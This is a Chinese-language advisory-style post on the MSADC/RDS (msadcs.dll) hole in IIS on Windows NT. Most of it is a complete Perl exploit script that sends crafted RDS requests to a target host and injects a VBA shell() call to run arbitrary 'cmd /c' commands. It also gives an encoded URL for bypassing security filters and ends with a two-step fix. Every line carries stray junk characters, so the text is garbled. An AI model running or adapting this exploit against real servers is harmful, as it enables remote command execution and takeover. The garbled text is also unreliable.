IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
5Q8s{WQ 2r]o>X 涉及程序:
~LP5hL Microsoft NT server
!\OX}kHX5 *_HF %JYMZ 描述:
WA*1_ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
M!%|IKw -3m!970 详细:
t8.3 如果你没有时间读详细内容的话,就删除:
|1e//* c:\Program Files\Common Files\System\Msadc\msadcs.dll
}KNBqPo4B 有关的安全问题就没有了。
ZqjLZ9?q : &~LPmJ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
$U)nrni }gE^HH' 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
<7gv<N6BQf 关于利用ODBC远程漏洞的描述,请参看:
"x0KiIoPk ?N@[R]; http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm zH#urF6< 9ESV[ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
''q#zEf6 http://www.microsoft.com/security/bulletins/MS99-025faq.asp m9-=Y{&/ !HP=Rgh 这里不再论述。
dVn_+1\L e+<9Sh7& 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
s3K!~v\L] @%fL*^yr;C /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
6*
0vUy*" 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
>Nx4 +| "3_GFq c'5ls7?}O{ #将下面这段保存为txt文件,然后: "perl -x 文件名"
1S yG :YLurng/] #!perl
k[@/N+;")` #
d b*J # MSADC/RDS 'usage' (aka exploit) script
#3A|Z=,5 #
*D1vla8 # by rain.forest.puppy
1(e64w@ #
.SNg2. # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
EW+QVu@ # beta test and find errors!
>t%@)]*N [ A 7{}
use Socket; use Getopt::Std;
~)6EH`- getopts("e:vd:h:XR", \%args);
_g'x=VJF A\13*4:;l print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
+wI<w|! 'q@vTM'- if (!defined $args{h} && !defined $args{R}) {
Q-1Xgw! print qq~
aY6F4,7/B Usage: msadc.pl -h <host> { -d <delay> -X -v }
%7?Z|'\ -h <host> = host you want to scan (ip or domain)
8`90a\t'Z -d <seconds> = delay between calls, default 1 second
zw iS%-F -X = dump Index Server path table, if available
<|w(Sn -v = verbose
d"Zyc(Jk -e = external dictionary file for step 5
c:
(nlYZ #]Jg> Or a -R will resume a command session
}d5~w[ O]Yz7 ~; exit;}
\l`{u)V H?V
b $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
6)>otB8)J if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ofPv?_@ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
y!
QYdf? if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,R-aO= % $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
P>03 DkbB if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
b #Llu$ Lg|d[*;'7 if (!defined $args{R}){ $ret = &has_msadc;
/w2-Pgm-[\ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
,lFp4 C m1xR uj] print "Please type the NT commandline you want to run (cmd /c assumed):\n"
'ud[#@2 . "cmd /c ";
#Jr4LQ@A9 $in=<STDIN>; chomp $in;
FPM l;0{ $command="cmd /c " . $in ;
Iv*u#]{t wz BI<0]z if (defined $args{R}) {&load; exit;}
QGE0pWL-a 8# x7q>? print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Iyb_5 UmpF &try_btcustmr;
t J&tNSjTi qVjMflVoay print "\nStep 2: Trying to make our own DSN...";
h
9}x6t, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Y%>u.HzL Pw5[X5.DX print "\nStep 3: Trying known DSNs...";
QZ*gR#K]Sz &known_dsn;
Eh$1piJG BO%'/2eV print "\nStep 4: Trying known .mdbs...";
-=ZDfM
&known_mdb;
q;7DH4;t }]JHY P\ if (defined $args{e}){
aM(x--UR= print "\nStep 5: Trying dictionary of DSN names...";
\xQu*M:! &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
7:<A_OLi +oL@pp0 print "Sorry Charley...maybe next time?\n";
wN :"(mQ exit;
xn,9Wj- 8DM! ]L ##############################################################################
? nq%'<^^ 1+YqdDqQ sub sendraw { # ripped and modded from whisker
ydAiH*> sleep($delay); # it's a DoS on the server! At least on mine...
`PSjkF( my ($pstr)=@_;
Xg*](>/\, socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
V)vik die("Socket problems\n");
8IE^u<H(: if(connect(S,pack "SnA4x8",2,80,$target)){
%Y>E select(S); $|=1;
&So1;RR,_M print $pstr; my @in=<S>;
j0s$}FPUI select(STDOUT); close(S);
o^m?w0 \ return @in;
5G$5d:[( } else { die("Can't connect...\n"); }}
!e*T.
1Kz 5HIQw9g6 ##############################################################################
FYK`.>L28 W+5. lf=2> sub make_header { # make the HTTP request
2U(qyC my $msadc=<<EOT
0N$FIw2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
UM<s#t`\3 User-Agent: ACTIVEDATA
^)(tO$S Host: $ip
PC|ul{[*} Content-Length: $clen
D3%2O`9 Connection: Keep-Alive
M|fV7g o"_'cNAz ADCClientVersion:01.06
`!AI:c*3p1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
`#vbV/sM k[,0kP; --!ADM!ROX!YOUR!WORLD!
'$?!>HN4 Content-Type: application/x-varg
q6<P\CSHy< Content-Length: $reqlen
)ax>* o{^`Y EOT
y*6/VSRkt4 ; $msadc=~s/\n/\r\n/g;
5;,h8vW return $msadc;}
P{yb%@I~J CPMGsW^ ##############################################################################
'2ZvK )^+hm+27v sub make_req { # make the RDS request
_A])q my ($switch, $p1, $p2)=@_;
Z*Gf`d: my $req=""; my $t1, $t2, $query, $dsn;
u05Yy&(f 5t"FNL
<(M if ($switch==1){ # this is the btcustmr.mdb query
_(I6o $query="Select * from Customers where City=" . make_shell();
!a-B=pn!] $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
i^V(LGQF $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Rn]xxa' RS
l*u[fB elsif ($switch==2){ # this is general make table query
-a &<Un/ $query="create table AZZ (B int, C varchar(10))";
u6Lx3 $dsn="$p1";}
,?k1if(0[ %.?V\l elsif ($switch==3){ # this is general exploit table query
E)ZL+( $query="select * from AZZ where C=" . make_shell();
/jGV[_Q=P $dsn="$p1";}
>#k-
~|w ^YropzHZ4E elsif ($switch==4){ # attempt to hork file info from index server
&i.sSqSI5 $query="select path from scope()";
h /^bRs`; $dsn="Provider=MSIDXS;";}
f-71`Pyb Qh(X7B elsif ($switch==5){ # bad query
FROC/' $query="select";
>%0$AW|Exu $dsn="$p1";}
_B&Lyg!J !!H"B('m $t1= make_unicode($query);
(xRcG+3]; $t2= make_unicode($dsn);
r[H8;&EL $req = "\x02\x00\x03\x00";
@NqwJ.%g $req.= "\x08\x00" . pack ("S1", length($t1));
BP0:<vK{ $req.= "\x00\x00" . $t1 ;
W)/^*,
Q7 $req.= "\x08\x00" . pack ("S1", length($t2));
"Y=`w,~~ $req.= "\x00\x00" . $t2 ;
T'@+MA) ~ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
>m.. return $req;}
oPM*VTMA 13`Mt1R ##############################################################################
|K06H
?6X v{fcQb sub make_shell { # this makes the shell() statement
i i-AE L return "'|shell(\"$command\")|'";}
>3Q|k{97 y!.jpF'uI ##############################################################################
ne/JC( F_jHi0A sub make_unicode { # quick little function to convert to unicode
%0N
HU`j my ($in)=@_; my $out;
W ';X4e for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
i>s return $out;}
P
<+0sh )AQ^PBwp ##############################################################################
5UO+c(T KP>9hEh sub rdo_success { # checks for RDO return success (this is kludge)
So'.QWzX my (@in) = @_; my $base=content_start(@in);
=4a:)g' if($in[$base]=~/multipart\/mixed/){
+8T^q, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
v|o{AL:ei return 0;}
~~Ezt*lH yi>AogQ, ##############################################################################
.
yg# Cl]?qH*: sub make_dsn { # this makes a DSN for us
U/QgO my @drives=("c","d","e","f");
rUj\F9*5# print "\nMaking DSN: ";
Bhd)# P foreach $drive (@drives) {
JHt
U" print "$drive: ";
y~@zfJ5/^ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Kbf(P95+uL "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
AXW.`~ 4 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
&|~7` $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
/uj^w&l# return 0 if $2 eq "404"; # not found/doesn't exist
*}d N.IL, if($2 eq "200") {
,T<JNd' foreach $line (@results) {
P*OG`%y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
0)332}Oh } return 0;}
zqo0P~
p;w&}l{{ ##############################################################################
+*:mKx@Nw /[.V( K
D sub verify_exists {
-HG.GA my ($page)=@_;
R[a-" my @results=sendraw("GET $page HTTP/1.0\n\n");
.qO4ceW2-~ return $results[0];}
{_-kwg{"( uK2HtRY1 ##############################################################################
{E:` gM\>{ihM' sub try_btcustmr {
pOc2V my @drives=("c","d","e","f");
5mD8$%\8 my @dirs=("winnt","winnt35","winnt351","win","windows");
7"!b5(4= 'bi;Y1: foreach $dir (@dirs) {
dm4Q'u print "$dir -> "; # fun status so you can see progress
` 3qf}=Z` foreach $drive (@drives) {
<m]0!ii print "$drive: "; # ditto
d-D,Gx]>$ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
yx :^*/ $reqlenlen=length( "$reqlen" );
fY[Fwjj3 $clen= 206 + $reqlenlen + $reqlen;
1^![8>u" "w'pIUQ3, my @results=sendraw(make_header() . make_req(1,$drive,$dir));
,PTM'O@aU# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
*9^8NY] else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ahg:mlaob A'DFY { ##############################################################################
I)Xf4FS@ ]P0%S@] sub odbc_error {
&v{#yzM my (@in)=@_; my $base;
#1DEZ4]jjY my $base = content_start(@in);
vW1^ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Y 3BJ@sqz $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$3^M-w $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
\yr9j$ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
p%I'd^}.! return $in[$base+4].$in[$base+5].$in[$base+6];}
)S g6B;CJ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
0Z1ksfLU print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
""0Y^M2I $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
S4x9k{Xn q? '4& ##############################################################################
("2X8(3z 79v +ze sub verbose {
gwoe1:F:J my ($in)=@_;
k83K2>] return if !$verbose;
A@}5'LzL print STDOUT "\n$in\n";}
JU?;Kq9R _QL|pLf- ##############################################################################
pl`4&y%Me wk|+[Rl;L sub save {
8G:/f3B= my ($p1, $p2, $p3, $p4)=@_;
k pgA2u7 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
23gN;eD+m6 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4&mY-N7A close OUT;}
M\R+:O& 0cS$S Mn{ ##############################################################################
z
&EDW5I 5Z>a}s_i sub load {
Y)sB]!hx my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u cpU$+ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
d&+]@ Ii @p=<IN>; close(IN);
0/R;g~q@ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
zZCl]cql $target= inet_aton($ip) || die("inet_aton problems");
!mlfG"FE print "Resuming to $ip ...";
9O;Sn + $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
6$urrSQ`N0 if($p[1]==1) {
gi!_Nz $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
cp`Jep<T $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Z@zo~*o my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
2;v:Z^& if (rdo_success(@results)){print "Success!\n";}
<:9ts@B else { print "failed\n"; verbose(odbc_error(@results));}}
+e{ui + elsif ($p[1]==3){
]}L'jK
0 if(run_query("$p[3]")){
cGlN*GJ*H print "Success!\n";} else { print "failed\n"; }}
L$PbC!1 elsif ($p[1]==4){
05wkUo:9 if(run_query($drvst . "$p[3]")){
NXOXN]=c< print "Success!\n"; } else { print "failed\n"; }}
0AO^d[v exit;}
Qt.*Z;Gs ^#R`Uptib ##############################################################################
#/YS =8]`-( sub create_table {
r&LZH.$oh my ($in)=@_;
:!aLa}`@ $reqlen=length( make_req(2,$in,"") ) - 28;
FyEKqYl $reqlenlen=length( "$reqlen" );
al[^pPKZ $clen= 206 + $reqlenlen + $reqlen;
Y<T0yl? my @results=sendraw(make_header() . make_req(2,$in,""));
UT3Fi@
return 1 if rdo_success(@results);
3 yx[*'e$ my $temp= odbc_error(@results); verbose($temp);
PysDDU}v return 1 if $temp=~/Table 'AZZ' already exists/;
Ze0qRLuH! return 0;}
B:"D)/\ s{^B98d+W ##############################################################################
{ "]!zL ?'k_K:_ sub known_dsn {
EXSJ@k6=8s # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
chICc</l& my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
$@Vn+|
Ix "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
FJ0I&FyWs "banner", "banners", "ads", "ADCDemo", "ADCTest");
j@4MV^F2c .)/."V foreach $dSn (@dsns) {
B{/og*xd*1 print ".";
f-M:ap(O next if (!is_access("DSN=$dSn"));
V*n$$-5
1- if(create_table("DSN=$dSn")){
t'2A)S print "$dSn successful\n";
Ek<Qz5) if(run_query("DSN=$dSn")){
xL15uWk- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5t%8y!s print "Something's borked. Use verbose next time\n";}}} print "\n";}
,7wYa& 1]/;qNEv ##############################################################################
{F<0e^* qt L]x - O sub is_access {
1'f_C<.0 my ($in)=@_;
s~OcL 5 $reqlen=length( make_req(5,$in,"") ) - 28;
9n(68|^$ $reqlenlen=length( "$reqlen" );
6/<Hx@r ( $clen= 206 + $reqlenlen + $reqlen;
gGP6"|tc4 my @results=sendraw(make_header() . make_req(5,$in,""));
(?l ]}p^[ my $temp= odbc_error(@results);
EK# 11@0% verbose($temp); return 1 if ($temp=~/Microsoft Access/);
3@" :& return 0;}
xn`)I>v Pm%xX~H ##############################################################################
/0\g!29l< ~u%$ 9IhM sub run_query {
3zB'AG3b my ($in)=@_;
WVR/0l&bU $reqlen=length( make_req(3,$in,"") ) - 28;
(GF}c\=T7 $reqlenlen=length( "$reqlen" );
''auu4vF $clen= 206 + $reqlenlen + $reqlen;
K/zb6=-> my @results=sendraw(make_header() . make_req(3,$in,""));
zr!7*,
p return 1 if rdo_success(@results);
OB.rETg my $temp= odbc_error(@results); verbose($temp);
yBy7d!@2 return 0;}
tU?BR<q U,!qNi} ##############################################################################
]EHsRd ?7fqWlB sub known_mdb {
=@d#@ my @drives=("c","d","e","f","g");
CcUF)$kz my @dirs=("winnt","winnt35","winnt351","win","windows");
;i[JCNiS\ my $dir, $drive, $mdb;
z%E(o%l8 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Tw';;euw ZbC$Fk,,I& # this is sparse, because I don't know of many
lG-B)
F my @sysmdbs=( "\\catroot\\icatalog.mdb",
<}lah%4F "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
[2,D] e "\\system32\\certmdb.mdb",
I/w;4!+) "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
}K?b2 6` wn@~80)$ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
8=$X hC "\\cfusion\\cfapps\\forums\\forums_.mdb",
(l%?YME "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
68j1svz9 "\\cfusion\\cfapps\\security\\realm_.mdb",
,<
g%}P/ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
HN7tIz@Frc "\\cfusion\\database\\cfexamples.mdb",
/k/X[/WO "\\cfusion\\database\\cfsnippets.mdb",
m}z6Bbis 0 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
-F?97&G$ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
q;[HUyY, "\\cfusion\\brighttiger\\database\\cleam.mdb",
$9?:P}$v "\\cfusion\\database\\smpolicy.mdb",
CF>&mXg\ "\\cfusion\\database\cypress.mdb",
+IS6l*_y>6 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
)P7ep "\\website\\cgi-win\\dbsample.mdb",
.I>rX#aNt "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
'dWUE- "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
rA
={;` ); #these are just
se.HA foreach $drive (@drives) {
2V]a+Cgk foreach $dir (@dirs){
\i+AMduAo foreach $mdb (@sysmdbs) {
EPJ>@A>;D print ".";
`V9bd}M%~; if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
d:hnb)I$* print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
.#~!w!T if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8XYxyOl print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
|yz[mP*;o } else { print "Something's borked. Use verbose next time\n"; }}}}}
FaCW +9B 07Yak<+~ foreach $drive (@drives) {
w)|9iL8 foreach $mdb (@mdbs) {
VWzQXo print ".";
^.:&ZsqV if(create_table($drv . $drive . $dir . $mdb)){
>>$L
vQ print "\n" . $drive . $dir . $mdb . " successful\n";
&jY|
:Fe if(run_query($drv . $drive . $dir . $mdb)){
rGQD+ d print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
>TglX t+ } else { print "Something's borked. Use verbose next time\n"; }}}}
Fm:Ys]( }
@U!&XZ]h %~:\f#6 ##############################################################################
\FfqIc9; +@]k[9 sub hork_idx {
d-b<_k{p print "\nAttempting to dump Index Server tables...\n";
|$
^3 5F print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0S:&wb $reqlen=length( make_req(4,"","") ) - 28;
YCE *Dm $reqlenlen=length( "$reqlen" );
T%oJmp?0 $clen= 206 + $reqlenlen + $reqlen;
Sed8Q-m my @results=sendraw2(make_header() . make_req(4,"",""));
Ej)7[ if (rdo_success(@results)){
cWo>DuW& my $max=@results; my $c; my %d;
Rd HCb k for($c=19; $c<$max; $c++){
IuP~Vt{m $results[$c]=~s/\x00//g;
?{aC-3VAT $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
]d[e $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
lusUmFm'* $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Pk;/4jt4 $d{"$1$2"}="";}
$}vzBuWHwN foreach $c (keys %d){ print "$c\n"; }
#/ePpSyD } else {print "Index server doesn't seem to be installed.\n"; }}
c*B< -
l<5 mS[``$Z\! ##############################################################################
#lMcAYH, 7[P-;8)tq sub dsn_dict {
N
{{MMIq open(IN, "<$args{e}") || die("Can't open external dictionary\n");
0^tY|(b3/M while(<IN>){
E`.hM}h $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
bvJ@H
Z$ next if (!is_access("DSN=$dSn"));
XYR
q"{Id if(create_table("DSN=$dSn")){
zWU]4;," print "$dSn successful\n";
|pS]zD if(run_query("DSN=$dSn")){
aV7VbC print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9[JUJ,#X'0 print "Something's borked. Use verbose next time\n";}}}
1K#[Ef4 print "\n"; close(IN);}
OqS!y(
( im9w|P 5 ##############################################################################
E oixw8hz 4Cu\|"5) sub sendraw2 { # ripped and modded from whisker
ROn@tW sleep($delay); # it's a DoS on the server! At least on mine...
?;v\wx my ($pstr)=@_;
5qH*"i+|s socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
w>cqsTq die("Socket problems\n");
a9;KS>~bq if(connect(S,pack "SnA4x8",2,80,$target)){
OQfFS+6 print "Connected. Getting data";
hFm^Fy[R open(OUT,">raw.out"); my @in;
~C^:SND7 select(S); $|=1; print $pstr;
#<==7X# while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
\,Ws=9f close(OUT); select(STDOUT); close(S); return @in;
vGlVr.) } else { die("Can't connect...\n"); }}
fQC{LcS awo'#Y2> ##############################################################################
*<S>PbqLw , @UOj= sub content_start { # this will take in the server headers
+kd1q my (@in)=@_; my $c;
I;"pPJ3G for ($c=1;$c<500;$c++) {
%w[Z/ if($in[$c] =~/^\x0d\x0a/){
i,^3aZwJ' if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
pl3ap(/ else { return $c+1; }}}
Lu6g`O:[' return -1;} # it should never get here actually
?e6>dNw wdP(MkaV ##############################################################################
E"VFBKB rxX4Cw]\"y sub funky {
b
MD| my (@in)=@_; my $error=odbc_error(@in);
OFtf)cGE if($error=~/ADO could not find the specified provider/){
M 5w/TN print "\nServer returned an ADO miscofiguration message\nAborting.\n";
nS3Aadm exit;}
:0B 7lDw if($error=~/A Handler is required/){
)aGSZ1`/ print "\nServer has custom handler filters (they most likely are patched)\n";
wHs1ge ( exit;}
ws9IO ?|&G if($error=~/specified Handler has denied Access/){
X uE: dL? print "\nServer has custom handler filters (they most likely are patched)\n";
1|4,jm $ exit;}}
3%5YUG@ (eU 4{X7 ##############################################################################
xE@/8h 9h6Oq(0b8 sub has_msadc {
.,z6a my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Wgh@X B my $base=content_start(@results);
WtZI1`\qe return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
1N(1h
D return 0;}
8u~ :p}8#rb ########################
MuOKauYa 3%?tUt }~+,x# 解决方案:
T 'c39 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
m=l'9j"D 2、移除web 目录: /msadc